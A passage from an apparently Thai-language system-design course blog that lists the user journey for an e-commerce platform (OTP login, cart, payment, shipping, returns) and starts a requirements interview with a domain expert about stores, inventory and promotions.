&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32;&#xE2A;&#xE39;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; Account &#xE17;&#xE35;&#xE48;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; -&gt; &#xE44;&#xE1B;&#xE02;&#xE49;&#xE2D;&#xE17;&#xE35;&#xE48; 8<br></p><p><strong>&#xE40;&#xE02;&#xE49;&#xE32;&#xE2A;&#xE39;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; Email OTP</strong><br>4. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32;&#xE2A;&#xE39;&#xE48;&#xE40;&#xE27;&#xE47;&#xE1A;&#xE44;&#xE0B;&#xE15;&#xE4C; E-commerce<br>5. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE01;&#xE23;&#xE2D;&#xE01; Email &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE15;&#xE31;&#xE27;&#xE15;&#xE19;<br>6. &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE2A;&#xE48;&#xE07; OTP &#xE1C;&#xE48;&#xE32;&#xE19; Email<br>7. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32;&#xE2A;&#xE39;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; OTP &#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE21;&#xE32;&#xE17;&#xE32;&#xE07; Email -&gt; &#xE44;&#xE1B;&#xE02;&#xE49;&#xE2D;&#xE17;&#xE35;&#xE48; 8</p><p>8. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE14;&#xE39;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE41;&#xE23;&#xE01; &#xE14;&#xE39;&#xE15;&#xE32;&#xE21;&#xE2B;&#xE21;&#xE27;&#xE14;&#xE2B;&#xE21;&#xE39;&#xE48;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2A;&#xE48;&#xE04;&#xE33;&#xE04;&#xE49;&#xE19;<br>9. &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE0A;&#xE37;&#xE48;&#xE2D; SKU &#xE23;&#xE32;&#xE04;&#xE32; &#xE23;&#xE39;&#xE1B;&#xE20;&#xE32;&#xE1E; &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE17;&#xE35;&#xE48;&#xE02;&#xE32;&#xE22;&#xE44;&#xE14;&#xE49; &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE49;&#xE32;&#xE19;&#xE04;&#xE49;&#xE32; &#xE2A;&#xE48;&#xE27;&#xE19;&#xE25;&#xE14; (&#xE2A;&#xE48;&#xE27;&#xE19;&#xE25;&#xE14;&#xE08;&#xE32;&#xE01;&#xE23;&#xE49;&#xE32;&#xE19; &#xE41;&#xE25;&#xE30; Code &#xE2A;&#xE48;&#xE27;&#xE19;&#xE25;&#xE14;) &#xE04;&#xE30;&#xE41;&#xE19;&#xE19;&#xE23;&#xE35;&#xE27;&#xE34;&#xE27; <br>10. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE14;&#xE39;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE19;&#xE43;&#xE08; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE04;&#xE33;&#xE1A;&#xE23;&#xE23;&#xE22;&#xE32;&#xE22; &#xE04;&#xE38;&#xE13;&#xE2A;&#xE21;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32; &#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE31;&#xE19;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE04;&#xE37;&#xE19;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;<br>11. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;<br>12. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE25;&#xE07;&#xE15;&#xE30;&#xE01;&#xE23;&#xE49;&#xE32;<br>13. &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE42;&#xE1B;&#xE23;&#xE42;&#xE21;&#xE0A;&#xE31;&#xE48;&#xE19;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE14;&#xE49;<br>14. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE43;&#xE2A;&#xE48;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE04;&#xE39;&#xE1B;&#xE2D;&#xE07;<br>15. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE30;&#xE41;&#xE19;&#xE19;&#xE2A;&#xE30;&#xE2A;&#xE21; (&#xE16;&#xE49;&#xE32;&#xE21;&#xE35;)<br>16. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;<br>17. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE01;&#xE23;&#xE2D;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE41;&#xE25;&#xE30;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;<br>18. &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE04;&#xE48;&#xE32;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE41;&#xE25;&#xE30;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE1C;&#xE25;&#xE23;&#xE27;&#xE21;&#xE23;&#xE32;&#xE04;&#xE32;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;<br>19. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE01;&#xE23;&#xE2D;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;<br>20. &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE32;&#xE19;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;&#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;<br>21 &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE41;&#xE08;&#xE49;&#xE07;&#xE1C;&#xE25;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;&#xE43;&#xE2B;&#xE49;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE17;&#xE23;&#xE32;&#xE1A;<br>22. &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE2A;&#xE48;&#xE07;&#xE2D;&#xE35;&#xE40;&#xE21;&#xE25;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;<br>23. &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE15;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE40;&#xE1B;&#xE47;&#xE19; &quot;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;&quot;<br>24. &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;, &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07;&#xE04;&#xE25;&#xE31;&#xE07;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;<br>25 &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE41;&#xE25;&#xE30;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE15;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE40;&#xE1B;&#xE47;&#xE19; &quot;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&quot;<br>26. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE15;&#xE34;&#xE14;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE40;&#xE27;&#xE47;&#xE1A;&#xE44;&#xE0B;&#xE15;&#xE4C;<br>27. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;<br>28. &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE15;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE40;&#xE1B;&#xE47;&#xE19; &quot;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;&quot;<br>29. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE23;&#xE35;&#xE27;&#xE34;&#xE27;&#xE41;&#xE25;&#xE30;&#xE43;&#xE2B;&#xE49;&#xE04;&#xE30;&#xE41;&#xE19;&#xE19;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;<br>30. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE04;&#xE37;&#xE19;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;<br>31 &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE32;&#xE21;&#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE04;&#xE37;&#xE19;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;</p><p>&#xE2B;&#xE19;&#xE49;&#xE32;&#xE15;&#xE32;&#xE02;&#xE2D;&#xE07; User Journey Flow &#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE44;&#xE1B;&#xE15;&#xE32;&#xE21;&#xE20;&#xE32;&#xE1E;&#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE22;&#xE36;&#xE14;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; E-commerce Platform &#xE15;&#xE32;&#xE21; User Journey Flow &#xE19;&#xE35;&#xE49;&#xE44;&#xE1B;&#xE08;&#xE19;&#xE08;&#xE1A; Course &#xE04;&#xE23;&#xE31;&#xE1A;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-19.png" class="kg-image" alt loading="lazy" width="2000" height="1584" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-19.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/diagram-19.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/diagram-19.png 1600w, https://blog.pjjop.org/content/images/2024/07/diagram-19.png 2074w" sizes="(min-width: 720px) 720px"></figure><h2 id="understand-the-problem-and-requirements">Understand the Problem and Requirements</h2><p>&#xE01;&#xE32;&#xE23;&#xE2A;&#xE31;&#xE21;&#xE20;&#xE32;&#xE29;&#xE13;&#xE4C; Domain Expert &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE16;&#xE32;&#xE21;&#xE1B;&#xE25;&#xE32;&#xE22;&#xE40;&#xE1B;&#xE34;&#xE14; &#xE40;&#xE1B;&#xE47;&#xE19;&#xE27;&#xE34;&#xE18;&#xE35;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; (Function Requirement) &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE21;&#xE34;&#xE19; Non-function Requirement &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E; &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><p><strong>Interviewer</strong>: &#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30;&#xE02;&#xE2D;&#xE07; E-commerce Platform &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;<br><strong>Domain Expert</strong>: &#xE40;&#xE23;&#xE32;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE08;&#xE30;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Backend &#xE02;&#xE2D;&#xE07; E-commerce Platform &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; <a href="https://nocnoc.com/?ref=blog.pjjop.org">NocNoc</a>, <a href="https://shopee.co.th/?ref=blog.pjjop.org">Shopee</a>, <a href="https://www.lazada.co.th/?ref=blog.pjjop.org">Lazada</a> &#xE41;&#xE25;&#xE30; <a href="https://www.amazon.com/?ref=blog.pjjop.org">Amazon</a> &#xE42;&#xE14;&#xE22;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE17;&#xE38;&#xE01;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE02;&#xE32;&#xE22;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE2D;&#xE2D;&#xE19;&#xE44;&#xE25;&#xE19;&#xE4C; &#xE08;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE18;&#xE38;&#xE23;&#xE01;&#xE23;&#xE23;&#xE21;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE2A;&#xE34;&#xE49;&#xE19;</p><p><strong>Interviewer</strong>: &#xE21;&#xE35;&#xE23;&#xE49;&#xE32;&#xE19;&#xE04;&#xE49;&#xE32;&#xE01;&#xE35;&#xE48;&#xE23;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19; Platform<br><strong>Domain Expert</strong>: &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE01;&#xE4D;&#xE32;&#xE25;&#xE31;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; E-commerce Platform &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE23;&#xE49;&#xE32;&#xE19;&#xE04;&#xE49;&#xE32;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; 10,000 &#xE23;&#xE49;&#xE32;&#xE19; &#xE41;&#xE25;&#xE30;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32; 500,000 SKU</p><p><strong>Interviewer</strong>: &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE08;&#xE32;&#xE01;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE23;&#xE49;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;<br><strong>Domain Expert</strong>: &#xE44;&#xE14;&#xE49;</p><p><strong>Interviewer</strong>: &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;<br><strong>Domain Expert</strong>: &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE02;&#xE19;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE1A;&#xE38;&#xE04;&#xE04;&#xE25;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21; &#xE41;&#xE15;&#xE48;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE15;&#xE34;&#xE14;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;</p><p><strong>Interviewer</strong>: &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE04;&#xE07;&#xE04;&#xE25;&#xE31;&#xE07;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;<br><strong>Domain Expert</strong>: &#xE23;&#xE49;&#xE32;&#xE19;&#xE04;&#xE49;&#xE32;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE23;&#xE49;&#xE32;&#xE19;&#xE08;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE04;&#xE07;&#xE04;&#xE25;&#xE31;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE19;&#xE40;&#xE2D;&#xE07; &#xE42;&#xE14;&#xE22;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE31;&#xE1B;&#xE40;&#xE14;&#xE15;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE04;&#xE07;&#xE04;&#xE25;&#xE31;&#xE07;&#xE41;&#xE1A;&#xE1A;&#xE40;&#xE23;&#xE35;&#xE22;&#xE25;&#xE44;&#xE17;&#xE21;&#xE4C;</p><p><strong>Interviewer</strong>: &#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE1F;&#xE35;&#xE40;&#xE08;&#xE2D;&#xE23;&#xE4C;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE1A;&#xE49;&#xE32;&#xE07;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE41;&#xE25;&#xE30;&#xE1C;&#xE39;&#xE49;&#xE02;&#xE32;&#xE22;<br><strong>Domain Expert</strong>: &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE0B;&#xE37;&#xE49;&#xE2D; &#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32; &#xE15;&#xE30;&#xE01;&#xE23;&#xE49;&#xE32;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32; &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE23;&#xE35;&#xE27;&#xE34;&#xE27;&#xE41;&#xE25;&#xE30;&#xE43;&#xE2B;&#xE49;&#xE04;&#xE30;&#xE41;&#xE19;&#xE19; &#xE41;&#xE25;&#xE30;&#xE1B;&#xE23;&#xE30;&#xE27;&#xE31;&#xE15;&#xE34;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE02;&#xE32;&#xE22; &#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32; &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D; &#xE41;&#xE25;&#xE30;&#xE23;&#xE32;&#xE22;&#xE07;&#xE32;&#xE19;&#xE22;&#xE2D;&#xE14;&#xE02;&#xE32;&#xE22;</p><p><strong>Interviewer</strong>: &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE42;&#xE1B;&#xE23;&#xE42;&#xE21;&#xE0A;&#xE31;&#xE48;&#xE19;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE25;&#xE14;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;<br><strong>Domain Expert</strong>: &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE17;&#xE31;&#xE49;&#xE07;&#xE42;&#xE1B;&#xE23;&#xE42;&#xE21;&#xE0A;&#xE31;&#xE48;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE31;&#xE14;&#xE42;&#xE14;&#xE22; Platform &#xE41;&#xE25;&#xE30;&#xE08;&#xE31;&#xE14;&#xE42;&#xE14;&#xE22;&#xE23;&#xE49;&#xE32;&#xE19;&#xE04;&#xE49;&#xE32;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE23;&#xE49;&#xE32;&#xE19;</p><p><strong>Interviewer</strong>: Platform &#xE08;&#xE30;&#xE21;&#xE35;&#xE0A;&#xE48;&#xE27;&#xE07; Flash Sale 